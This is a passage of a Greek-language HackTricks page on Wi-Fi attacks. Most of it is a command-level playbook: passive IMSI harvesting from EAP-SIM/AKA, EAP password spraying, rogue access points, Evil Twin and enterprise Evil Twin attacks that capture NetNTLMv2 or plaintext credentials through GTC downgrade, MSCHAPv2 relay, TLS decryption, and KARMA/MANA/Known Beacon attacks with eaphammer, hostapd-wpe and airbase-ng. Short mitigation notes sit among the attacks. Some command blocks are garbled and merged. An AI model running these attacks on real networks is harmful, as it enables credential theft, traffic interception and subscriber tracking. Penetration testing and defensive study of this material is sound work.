Το EAP-TTLS ακολουθεί μια ελαφρώς διαφορετική διαδικασία. Με το EAP-TTLS, ο client συνήθως πραγματοποιεί authentication χρησιμοποιώντας PAP ή CHAP, ασφαλισμένα από το TLS tunnel. Σε αυτή την περίπτωση, ο client περιλαμβάνει ένα User-Name attribute και είτε ένα Password είτε CHAP-Password attribute στο αρχικό TLS μήνυμα που στέλνεται μετά την εγκατάσταση του tunnel.
Ανεξάρτητα από το πρωτόκολλο, ο PEAP/TTLS server μαθαίνει την πραγματική ταυτότητα του χρήστη αφού έχει δημιουργηθεί το TLS tunnel. Η πραγματική ταυτότητα μπορεί να αναπαρασταθεί ως user@realm ή απλά user. Εάν ο PEAP/TTLS server είναι επίσης υπεύθυνος για την authentication του χρήστη, τώρα κατέχει την ταυτότητα του χρήστη και προχωρά με την authentication method προστατευμένη από το TLS tunnel. Εναλλακτικά, ο PEAP/TTLS server μπορεί να προωθήσει ένα νέο RADIUS request στον home RADIUS server του χρήστη. Αυτό το νέο RADIUS request παραλείπει το PEAP ή TTLS protocol layer. Σε περιπτώσεις όπου η protected authentication method είναι EAP, τα inner EAP μηνύματα μεταφέρονται στον home RADIUS server χωρίς το EAP-PEAP ή EAP-TTLS wrapper. Το User-Name attribute του εξερχόμενου RADIUS μηνύματος περιέχει την πραγματική ταυτότητα του χρήστη, αντικαθιστώντας το anonymous User-Name από το εισερχόμενο RADIUS request. Όταν η protected authentication method είναι PAP ή CHAP (υποστηρίζονται μόνο από TTLS), το User-Name και άλλα authentication attributes που εξάγονται από το TLS payload υποκαθιστούνται στο εξερχόμενο RADIUS μήνυμα, αντικαθιστώντας το anonymous User-Name και τα TTLS EAP-Message attributes που βρέθηκαν στο εισερχόμενο RADIUS request.
For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm
SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)
SIM-based Wi‑Fi authentication using EAP‑SIM/EAP‑AKA over 802.1X can leak the permanent subscriber identifier (IMSI) in cleartext during the unauthenticated identity phase if the deployment doesn’t implement pseudonyms/protected identities or a TLS tunnel around the inner EAP.
Where the leak happens (high level):
- 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
- Authenticator sends EAP-Request/Identity.
- Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
- Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
- Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.
Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy
Κάντε κλικ για να επεκταθεί
```bash # 1) Enable monitor mode airmon-ng start wlan02) Optional: lock channel to the target BSS
airodump-ng wlan0mon –essid
3) Capture 802.1X/EAP frames
Wireshark display filters:
eap || eapol
(identity specifically): eap.code == 2 && eap.type == 1
Kismet: add source wlan0mon; enable 802.1X/EAP views
tcpdump (pcap capture):
tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap
4) Wait for a device to auto-connect to the SSID
5) Inspect the first EAP-Response/Identity frame
Expected: ASCII NAI containing IMSI, e.g.
20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
</details>
Σημειώσεις:
- Λειτουργεί πριν από οποιοδήποτε TLS tunnel εάν η εγκατάσταση χρησιμοποιεί bare EAP‑SIM/AKA χωρίς προστατευμένη ταυτότητα/ψευδώνυμα.
- Η εκτεθειμένη τιμή είναι ένας μόνιμος αναγνωριστικός δείκτης συνδεδεμένος με την SIM του συνδρομητή· η συλλογή του επιτρέπει μακροχρόνια παρακολούθηση και μεταγενέστερες καταχρήσεις στις τηλεπικοινωνίες.
Επιπτώσεις
- Απόρρητο: επίμονη παρακολούθηση χρήστη/συσκευής από παθητικές καταγραφές Wi‑Fi σε δημόσιους χώρους.
- Εκκίνηση καταχρήσεων τηλεπικοινωνιών: με το IMSI, ένας επιτιθέμενος με πρόσβαση σε SS7/Diameter μπορεί να ερωτήσει για τοποθεσία ή να επιχειρήσει υποκλοπή κλήσεων/SMS και κλοπή MFA.
Μέτρα μετριασμού / τι να αναζητήσετε
- Επαληθεύστε ότι οι clients χρησιμοποιούν anonymous outer identities (pseudonyms) για EAP‑SIM/AKA σύμφωνα με τις οδηγίες 3GPP (π.χ., 3GPP TS 33.402).
- Προτιμήστε το tunneling της φάσης ταυτότητας (π.χ., EAP‑TTLS/PEAP που μεταφέρει inner EAP‑SIM/AKA) ώστε το IMSI να μην αποστέλλεται ποτέ σε clear.
- Packet captures της association/auth δεν πρέπει ποτέ να αποκαλύπτουν raw IMSI σε EAP-Response/Identity.
Σχετικό: Telecom signalling exploitation with captured mobile identifiers
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>
### EAP-Bruteforce (password spray)
If the client is expected to use a **username and password** (notice that **EAP-TLS won't be valid** in this case), then you could try to get a **list** a **usernames** (see next part) and **passwords** and try to **bruteforce** the access using [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Μπορείτε επίσης να εκτελέσετε αυτή την επίθεση χρησιμοποιώντας eaphammer:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Θεωρία επιθέσεων client
Επιλογή Δικτύου και Roaming
- Το πρωτόκολλο 802.11 ορίζει πώς ένας σταθμός εντάσσεται σε ένα Extended Service Set (ESS) αλλά δεν καθορίζει τα κριτήρια επιλογής ενός ESS ή ενός access point (AP) μέσα σε αυτό.
- Οι σταθμοί μπορούν να πραγματοποιούν roaming μεταξύ AP που μοιράζονται το ίδιο ESSID, διατηρώντας τη συνδεσιμότητα σε ένα κτίριο ή περιοχή.
- Το πρωτόκολλο απαιτεί authentication του σταθμού προς το ESS αλλά δεν επιβάλλει authentication του AP προς τον σταθμό.
Preferred Network Lists (PNLs)
- Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου με το οποίο συνδέονται στη Preferred Network List (PNL), μαζί με ρυθμίσεις συγκεκριμένες για το δίκτυο.
- Η PNL χρησιμοποιείται για αυτόματη σύνδεση σε γνωστά δίκτυα, βελτιώνοντας την εμπειρία χρήστη και απλοποιώντας τη διαδικασία σύνδεσης.
Passive Scanning
- Τα AP εκπέμπουν περιοδικά beacon frames, ανακοινώνοντας την παρουσία και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP, εκτός αν η εκπομπή είναι απενεργοποιημένη.
- Κατά την passive scanning, οι σταθμοί ακούν για beacon frames. Εάν το ESSID ενός beacon ταιριάζει με μια εγγραφή στην PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε εκείνο το AP.
- Η γνώση της PNL μιας συσκευής επιτρέπει πιθανή εκμετάλλευση μιμούμενη το ESSID ενός γνωστού δικτύου, ξεγελώντας τη συσκευή να συνδεθεί σε ένα rogue AP.
Active Probing
- Η active probing περιλαμβάνει αποστολή probe requests από σταθμούς για να ανακαλύψουν κοντινά AP και τα χαρακτηριστικά τους.
- Τα directed probe requests στοχεύουν σε ένα συγκεκριμένο ESSID, βοηθώντας να εντοπιστεί αν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμα κι αν είναι hidden.
- Τα broadcast probe requests έχουν πεδίο SSID null και αποστέλλονται σε όλα τα κοντινά AP, επιτρέποντας στον σταθμό να ελέγξει για οποιοδήποτε προτιμώμενο δίκτυο χωρίς να αποκαλύψει τα περιεχόμενα της PNL του.
Απλό AP με ανακατεύθυνση προς το Διαδίκτυο
Πριν εξηγήσουμε πώς να πραγματοποιήσετε πιο πολύπλοκες επιθέσεις, θα εξηγήσουμε πώς απλά να δημιουργήσετε ένα AP και να ανακατευθύνετε την κυκλοφορία του σε μια διεπαφή συνδεδεμένη με το Διαδίκτυο.
Χρησιμοποιώντας ifconfig -a ελέγξτε ότι η wlan interface που θα δημιουργήσει το AP και η διεπαφή συνδεδεμένη στο Διαδίκτυο είναι παρούσες.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
Δημιουργήστε το αρχείο διαμόρφωσης /etc/dnsmasq.conf:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Στη συνέχεια set IPs και routes:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
Και μετά ξεκινήστε dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
Δημιουργήστε ένα αρχείο ρυθμίσεων hostapd.conf:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
Τερματίστε τις ενοχλητικές διεργασίες , θέστε monitor mode, και ξεκινήστε hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Προώθηση και Ανακατεύθυνση
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
Μια επίθεση Evil Twin εκμεταλλεύεται τον τρόπο με τον οποίο οι WiFi clients αναγνωρίζουν τα δίκτυα, βασιζόμενη κυρίως στο όνομα δικτύου (ESSID) χωρίς να απαιτεί από το base station (access point) να πιστοποιήσει τον εαυτό του στον client. Βασικά σημεία περιλαμβάνουν:
- Δυσκολία στη Διάκριση: Οι συσκευές δυσκολεύονται να ξεχωρίσουν τους νόμιμους από τους rogue access points όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Στα πραγματικά δίκτυα συχνά χρησιμοποιούνται πολλαπλά access points με το ίδιο ESSID για να επεκτείνουν την κάλυψη χωρίς ορατές αλλαγές.
- Client Roaming και Επίδραση στη Σύνδεση: Το πρωτόκολλο 802.11 επιτρέπει στις συσκευές να περιηγούνται (roam) ανάμεσα σε access points εντός του ίδιου ESS. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό παραπλανώντας μια συσκευή ώστε να αποσυνδεθεί από το τρέχον base station και να συνδεθεί σε ένα rogue access point. Αυτό μπορεί να επιτευχθεί προσφέροντας ισχυρότερο σήμα ή διακόπτοντας τη σύνδεση με το νόμιμο access point μέσω μεθόδων όπως deauthentication packets ή jamming.
- Προκλήσεις στην Εκτέλεση: Η επιτυχημένη εκτέλεση μιας evil twin attack σε περιβάλλοντα με πολλαπλά, καλά τοποθετημένα access points μπορεί να είναι δύσκολη. Η deauthentication ενός μόνο νόμιμου access point συχνά έχει ως αποτέλεσμα η συσκευή να συνδεθεί σε κάποιο άλλο νόμιμο access point, εκτός αν ο επιτιθέμενος μπορεί να deauthenticate όλα τα κοντινά access points ή να τοποθετήσει στρατηγικά το rogue access point.
Μπορείτε να δημιουργήσετε ένα πολύ βασικό Open Evil Twin (χωρίς δυνατότητα δρομολόγησης κίνησης στο Internet) κάνοντας:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Μπορείτε επίσης να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας eaphammer (σημειώστε ότι για να δημιουργήσετε evil twins με το eaphammer η διεπαφή δεν πρέπει να είναι σε monitor mode):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Ή χρησιμοποιώντας το Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
.png)
Παρακαλώ σημειώστε ότι από προεπιλογή αν ένα ESSID στη PNL είναι αποθηκευμένο ως WPA protected, η συσκευή δεν θα συνδεθεί αυτόματα σε ένα Open evil Twin. Μπορείτε να προσπαθήσετε να DoS το πραγματικό AP και να ελπίζετε ότι ο χρήστης θα συνδεθεί χειροκίνητα στο Open evil twin σας, ή μπορείτε να DoS το πραγματικό AP και να χρησιμοποιήσετε ένα WPA Evil Twin για να καταγράψετε το handshake (χρησιμοποιώντας αυτή τη μέθοδο δεν θα μπορείτε να αφήσετε το θύμα να συνδεθεί σε εσάς καθώς δεν ξέρετε το PSK, αλλά μπορείτε να καταγράψετε το handshake και να προσπαθήσετε να το crack).
Κάποια OS και AV θα προειδοποιήσουν τον χρήστη ότι η σύνδεση σε ένα Open δίκτυο είναι επικίνδυνη…
WPA/WPA2 Evil Twin
Μπορείτε να δημιουργήσετε ένα Evil Twin using WPA/2 και αν οι συσκευές είναι ρυθμισμένες να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Πάντως, για να ολοκληρωθεί το 4-way-handshake χρειάζεται επίσης να γνωρίζετε τον κωδικό (password) που ο client θα χρησιμοποιήσει. Αν δεν τον γνωρίζετε, η σύνδεση δεν θα ολοκληρωθεί.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
Για να κατανοήσετε αυτές τις επιθέσεις, συνιστώ να διαβάσετε πρώτα τη σύντομη WPA Enterprise explanation.
Χρήση hostapd-wpe
hostapd-wpe χρειάζεται ένα αρχείο διαμόρφωσης για να λειτουργήσει. Για να αυτοματοποιήσετε τη δημιουργία αυτών των ρυθμίσεων μπορείτε να χρησιμοποιήσετε https://github.com/WJDigby/apd_launchpad (κατεβάστε το αρχείο python μέσα στο /etc/hostapd-wpe/)
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
Στο αρχείο ρυθμίσεων μπορείτε να επιλέξετε πολλά διαφορετικά πράγματα όπως ssid, channel, user files, cret/key, dh parameters, wpa version and auth…
Using hostapd-wpe with EAP-TLS to allow any certificate to login.
Using EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
Από προεπιλογή, το EAPHammer χρησιμοποιεί αυτές τις μεθόδους αυθεντικοποίησης (σημειώστε το GTC ως την πρώτη που θα δοκιμαστεί για την απόκτηση plaintext passwords και στη συνέχεια τη χρήση πιο ισχυρών μεθόδων αυθεντικοποίησης):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Αυτή είναι η προεπιλεγμένη μεθοδολογία για να αποφευχθούν οι μακροί χρόνοι σύνδεσης. Ωστόσο, μπορείτε επίσης να καθορίσετε στον server τις authentication methods από τις ασθενέστερες στις ισχυρότερες:
--negotiate weakest
Εναλλακτικά μπορείτε επίσης να χρησιμοποιήσετε:
--negotiate gtc-downgradeγια να χρησιμοποιήσετε μια αποδοτική υλοποίηση υποβάθμισης GTC (plaintext passwords)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAPγια να καθορίσετε χειροκίνητα τις μεθόδους που προσφέρονται (προσφέροντας τις ίδιες auth methods με την ίδια σειρά όπως η οργάνωση, η επίθεση θα είναι πολύ πιο δύσκολη να ανιχνευθεί).- Βρείτε περισσότερες πληροφορίες στο wiki
Όταν οι συσκευές παραλείπουν την επικύρωση πιστοποιητικού RADIUS (PEAP/TTLS)
- Αν οι συσκευές είναι ρυθμισμένες με “do not validate certificate”, ένα κλωνοποιημένο AP + rogue RADIUS (
eaphammer --cert-wizard --creds --auth wpa-eap) θα συλλέξει NetNTLMv2 (PEAP-MSCHAPv2) ή cleartext creds (PEAP-GTC). Τοbettercapdeauth (wifi.deauth <BSSID>) αποκαλύπτει κρυφά SSIDs κατά τις probes και αναγκάζει επανασυνδέσεις, εκτός αν το PMF/802.11w μπλοκάρει τις spoofed deauth. - Cracked NetNTLMv2 δίνει επαναχρησιμοποιήσιμα Wi‑Fi/AD creds· GTC αποδίδει άμεσο plaintext.
Αναμετάδοση PEAP-MSCHAPv2 αντί για cracking (wpa_sycophant + hostapd-mana)
- Για machine accounts με μη-σπώξιμους τυχαίους κωδικούς, εκμεταλλευτείτε το MSCHAPv2 relay: τρέξτε
hostapd-manaως το Evil Twin, προωθώντας την ανταλλαγή MSCHAPv2 στοwpa_sycophant, το οποίο ταυτόχρονα συνδέεται στο νόμιμο AP. Επιτυχής relay χορηγεί authenticated Wi‑Fi χωρίς ανάκτηση του κωδικού. - Χρησιμοποιήστε builds που υποστηρίζουν το στοχευόμενο επίπεδο ασφάλειας (WPA3/PMF απαιτεί πρόσφατο hostapd/wpa_supplicant); το PMF αποτρέπει το deauth coercion, οπότε περιμένετε για εθελοντικές client associations.
Using Airgeddon
Airgeddon μπορεί να χρησιμοποιήσει προηγουμένως δημιουργημένα πιστοποιητικά για να προσφέρει EAP authentication σε WPA/WPA2-Enterprise networks. Το ψεύτικο δίκτυο θα υποβαθμίσει το πρωτόκολλο σύνδεσης σε EAP-MD5 ώστε να μπορεί να capture the user and the MD5 of the password. Αργότερα, ο attacker μπορεί να προσπαθήσει να crack the password.Airggedon σας προσφέρει τη δυνατότητα μιας continuous Evil Twin attack (noisy) ή μόνο δημιουργίας του Evil Attack μέχρι κάποιος να συνδεθεί (smooth).
.png)
Αποσφαλμάτωση PEAP και EAP-TTLS TLS tunnels σε επιθέσεις Evil Twins
Αυτή η μέθοδος δοκιμάστηκε σε σύνδεση PEAP αλλά καθώς αποκρυπτογραφώ ένα αυθαίρετο TLS tunnel αυτό θα πρέπει να λειτουργεί επίσης με EAP-TTLS
Μέσα στην configuration του hostapd-wpe σχολιάστε τη γραμμή που περιέχει dh_file (από dh_file=/etc/hostapd-wpe/certs/dh σε #dh_file=/etc/hostapd-wpe/certs/dh)
Αυτό θα κάνει το hostapd-wpe να exchange keys using RSA αντί για DH, ώστε να μπορείτε να αποκρυπτογραφήσετε την κίνηση αργότερα γνωρίζοντας το ιδιωτικό κλειδί του server.
Τώρα ξεκινήστε το Evil Twin χρησιμοποιώντας hostapd-wpe με αυτή την τροποποιημένη configuration όπως συνήθως. Επίσης, ξεκινήστε wireshark στην interface που εκτελεί την επίθεση Evil Twin.
Τώρα ή αργότερα (όταν έχετε ήδη καταγράψει κάποιες προσπάθειες authentication) μπορείτε να προσθέσετε το ιδιωτικό RSA key στο wireshark στο: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Προσθέστε μια νέα εγγραφή και συμπληρώστε τη φόρμα με αυτές τις τιμές: IP address = any – Port = 0 – Protocol = data – Key File (select your key file, για να αποφύγετε προβλήματα επιλέξτε ένα key file without being password protected).
.png)
Και κοιτάξτε την νέα καρτέλα “Decrypted TLS”:
.png)
KARMA, MANA, Loud MANA and Known beacons attack
ESSID and MAC black/whitelists
Διάφοροι τύποι Media Access Control Filter Lists (MFACLs) και οι αντίστοιχες λειτουργίες τους και οι επιπτώσεις στη συμπεριφορά ενός rogue Access Point (AP):
- MAC-based Whitelist:
- Το rogue AP θα απαντά μόνο σε probe requests από συσκευές που αναφέρονται στη whitelist, παραμένοντας αόρατο σε όλες τις άλλες μη καταχωρημένες.
- MAC-based Blacklist:
- Το rogue AP θα αγνοεί probe requests από συσκευές στη blacklist, καθιστώντας ουσιαστικά το rogue AP αόρατο για αυτές τις συγκεκριμένες συσκευές.
- SSID-based Whitelist:
- Το rogue AP θα απαντά σε probe requests μόνο για συγκεκριμένα ESSIDs που απαριθμούνται, καθιστώντας το αόρατο σε συσκευές των οποίων οι Preferred Network Lists (PNLs) δεν περιέχουν αυτά τα ESSIDs.
- SSID-based Blacklist:
- Το rogue AP δεν θα απαντά σε probe requests για τα συγκεκριμένα ESSIDs στη blacklist, καθιστώντας το αόρατο σε συσκευές που αναζητούν αυτά τα συγκεκριμένα δίκτυα.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Αυτή η μέθοδος επιτρέπει σε έναν attacker να δημιουργήσει ένα malicious access point (AP) που απαντά σε όλα τα probe requests από συσκευές που προσπαθούν να συνδεθούν σε δίκτυα. Αυτή η τεχνική παραπλανά τις συσκευές ώστε να συνδεθούν στο AP του attacker μιμούμενη τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει αίτημα σύνδεσης σε αυτό το rogue AP, η σύνδεση ολοκληρώνεται, με αποτέλεσμα η συσκευή να συνδεθεί κατά λάθος στο δίκτυο του attacker.
MANA
Στη συνέχεια, οι συσκευές άρχισαν να αγνοούν μη αξιόπιστες αποκρίσεις δικτύου, μειώνοντας την αποτελεσματικότητα της αρχικής karma επίθεσης. Ωστόσο, εισήχθη μια νέα μέθοδος, γνωστή ως την MANA attack, από τους Ian de Villiers και Dominic White. Αυτή η μέθοδος περιλαμβάνει το rogue AP να συλλέγει τα Preferred Network Lists (PNL) από τις συσκευές απαντώντας στα broadcast probe requests τους με ονόματα δικτύων (SSIDs) που είχαν προηγουμένως αποθηκεύσει οι συσκευές. Αυτή η προηγμένη επίθεση παρακάμπτει τις προστασίες ενάντια στην αρχική karma attack εκμεταλλευόμενη τον τρόπο με τον οποίο οι συσκευές θυμούνται και δίνουν προτεραιότητα σε γνωστά δίκτυα.
Η MANA attack λειτουργεί παρακολουθώντας τόσο τα directed όσο και τα broadcast probe requests από συσκευές. Για τα directed requests, καταγράφει τη MAC address της συσκευής και το ζητούμενο network name, προσθέτοντας αυτές τις πληροφορίες σε μια λίστα. Όταν λαμβάνεται ένα broadcast request, το AP απαντά με πληροφορίες που ταιριάζουν με οποιοδήποτε από τα δίκτυα στη λίστα της συσκευής, δελεάζοντας τη συσκευή να συνδεθεί στο rogue AP.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
Μια Loud MANA attack είναι μια προηγμένη στρατηγική για περιπτώσεις όπου οι συσκευές δεν χρησιμοποιούν directed probing ή όταν οι Preferred Network Lists (PNL) είναι άγνωστες στον attacker. Λειτουργεί με την αρχή ότι οι συσκευές στην ίδια περιοχή πιθανόν να μοιράζονται κάποια ονόματα δικτύων στις PNL τους. Αντί να απαντάει επιλεκτικά, αυτή η επίθεση εκπέμπει probe responses για κάθε network name (ESSID) που βρέθηκε στις συνδυασμένες PNLs όλων των παρατηρούμενων συσκευών. Αυτή η ευρεία προσέγγιση αυξάνει την πιθανότητα μια συσκευή να αναγνωρίσει ένα γνώριμο δίκτυο και να προσπαθήσει να συνδεθεί στο rogue Access Point (AP).
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
When the Loud MANA attack may not suffice, the Known Beacon attack presents another approach. This method brute-forces the connection process by simulating an AP that responds to any network name, cycling through a list of potential ESSIDs derived from a wordlist. This simulates the presence of numerous networks, hoping to match an ESSID within the victim’s PNL, prompting a connection attempt to the fabricated AP. The attack can be amplified by combining it with the --loud option for a more aggressive attempt to ensnare devices.
Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside a list are charged (you could also combine this with --loud to create a Loud MANA + Known beacons attack):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack
Η Known Beacon Burst attack περιλαμβάνει ταχεία εκπομπή beacon frames για κάθε ESSID που αναφέρεται σε ένα αρχείο. Αυτό δημιουργεί ένα πυκνό περιβάλλον ψεύτικων δικτύων, αυξάνοντας σημαντικά την πιθανότητα οι συσκευές να συνδεθούν στον rogue AP, ιδιαίτερα σε συνδυασμό με μια MANA attack. Αυτή η τεχνική εκμεταλλεύεται την ταχύτητα και τον όγκο για να υπερφορτώσει τους μηχανισμούς επιλογής δικτύου των συσκευών.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct είναι ένα πρωτόκολλο που επιτρέπει στις συσκευές να συνδέονται απευθείας μεταξύ τους χρησιμοποιώντας Wi‑Fi, χωρίς την ανάγκη για ένα παραδοσιακό access point. Αυτή η δυνατότητα ενσωματώνεται σε διάφορες Internet of Things (IoT) συσκευές, όπως εκτυπωτές και τηλεοράσεις, διευκολύνοντας την απευθείας επικοινωνία συσκευή‑προς‑συσκευή. Ένα αξιοσημείωτο χαρακτηριστικό του Wi‑Fi Direct είναι ότι μία συσκευή αναλαμβάνει τον ρόλο του access point, γνωστή ως group owner, για να διαχειρίζεται τη σύνδεση.
Η ασφάλεια των συνδέσεων Wi‑Fi Direct καθιερώνεται μέσω του Wi‑Fi Protected Setup (WPS), το οποίο υποστηρίζει διάφορες μεθόδους για ασφαλή ζευγοποίηση, συμπεριλαμβανομένων:
- Push-Button Configuration (PBC)
- PIN entry
- Near-Field Communication (NFC)
Αυτές οι μέθοδοι, ιδιαίτερα το PIN entry, είναι επιρρεπείς στις ίδιες ευπάθειες με το WPS σε παραδοσιακά Wi‑Fi δίκτυα, καθιστώντας τες στόχους για παρόμοια attack vectors.
EvilDirect Hijacking
EvilDirect Hijacking είναι μια επίθεση ειδική στο Wi‑Fi Direct. Αντικατοπτρίζει την ιδέα της Evil Twin επίθεσης αλλά στοχεύει συνδέσεις Wi‑Fi Direct. Σε αυτό το σενάριο, ένας επιτιθέμενος μιμείται έναν νόμιμο group owner με σκοπό να εξαπατήσει συσκευές ώστε να συνδεθούν με μια κακόβουλη οντότητα. Αυτή η μέθοδος μπορεί να εκτελεστεί χρησιμοποιώντας εργαλεία όπως το airbase-ng, καθορίζοντας το channel, ESSID, και MAC address της συσκευής που μιμείται:
Αναφορές
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- The vulnerability that killed FreeWifi_Secure
- RFC 4186 – EAP-SIM Authentication
- 3GPP TS 33.402 – 3GPP system architecture evolution (SAE); Security aspects of non-3GPP accesses
- Wireless-(in)Fidelity: Pentesting Wi-Fi in 2025 (Synacktiv)
- PEAP relay attacks with wpa_sycophant (SensePost)
TODO: Ρίξτε μια ματιά στο https://github.com/wifiphisher/wifiphisher (login με facebook και μίμηση WPA σε captive portals)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


